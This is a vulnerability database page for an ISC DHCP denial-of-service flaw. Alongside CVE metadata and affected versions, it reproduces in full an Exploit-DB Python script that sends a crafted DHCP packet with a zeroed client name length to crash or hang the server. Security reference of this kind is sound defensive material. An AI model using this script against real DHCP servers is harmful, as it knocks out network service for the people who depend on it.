Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-119 |
Improper Restriction of Operations within the Bounds of a Memory Buffer The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V2 |
6.1 |
|
AV:A/AC:L/Au:N/C:N/I:N/A:C |
[email protected] |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 37538
Publication date : 2012-07-24 22h00 +00:00
Author : Markus Hietava
EDB Verified : Yes
source: https://www.securityfocus.com/bid/54665/info
ISC DHCP is prone to multiple denial-of-service vulnerabilities.
An attacker can exploit these issues to cause the affected application to crash, resulting in a denial-of-service condition.
#!/usr/bin/python
'''
SC DHCP 4.1.2 <> 4.2.4 and 4.1-ESV <> 4.1-ESV-R6 remote denial of
service(infinite loop and CPU consumption/chew) via zero'ed client name length
http://www.k1p0d.com
'''
import socket
import getopt
from sys import argv
def main():
args = argv[1:]
try:
args, useless = getopt.getopt(args, 'p:h:')
args = dict(args)
args['-p']
args['-h']
except:
usage(argv[0])
exit(-1)
dhcp_req_packet = ('\x01\x01\x06\x00\x40\x00\x03\x6f'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x22\x5f\xae'
'\xa7\xdf\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x63\x82\x53\x63'
'\x35\x01\x03\x32\x04\x0a\x00\x00'
'\x01\x0c\x00'
'\x37\x0d\x01\x1c\x02\x03\x0f'
'\x06\x77\x0c\x2c\x2f\x1a\x79\x2a'
'\xff\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00\x00\x00\x00\x00'
'\x00\x00\x00\x00')
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
sock.connect((args['-h'], int(args['-p'])))
sock.sendall(dhcp_req_packet)
print 'Packet sent'
sock.close()
def usage(pyname):
print '''
Usage: %s -h <host> -p <port>
''' % pyname
if __name__ == "__main__":
main()
Products Mentioned
Configuraton 0
Isc>>Dhcp >> Version 4.1.2
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.0
Isc>>Dhcp >> Version 4.2.1
Isc>>Dhcp >> Version 4.2.1
Isc>>Dhcp >> Version 4.2.1
Isc>>Dhcp >> Version 4.2.2
Isc>>Dhcp >> Version 4.2.2
Isc>>Dhcp >> Version 4.2.2
Isc>>Dhcp >> Version 4.2.3
Isc>>Dhcp >> Version 4.2.3
Isc>>Dhcp >> Version 4.2.3
Isc>>Dhcp >> Version 4.2.4
Configuraton 0
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Isc>>Dhcp >> Version 4.1-esv
Configuraton 0
Canonical>>Ubuntu_linux >> Version 11.04
Canonical>>Ubuntu_linux >> Version 11.10
Canonical>>Ubuntu_linux >> Version 12.04
Configuraton 0
Debian>>Debian_linux >> Version 6.0
Debian>>Debian_linux >> Version 7.0
References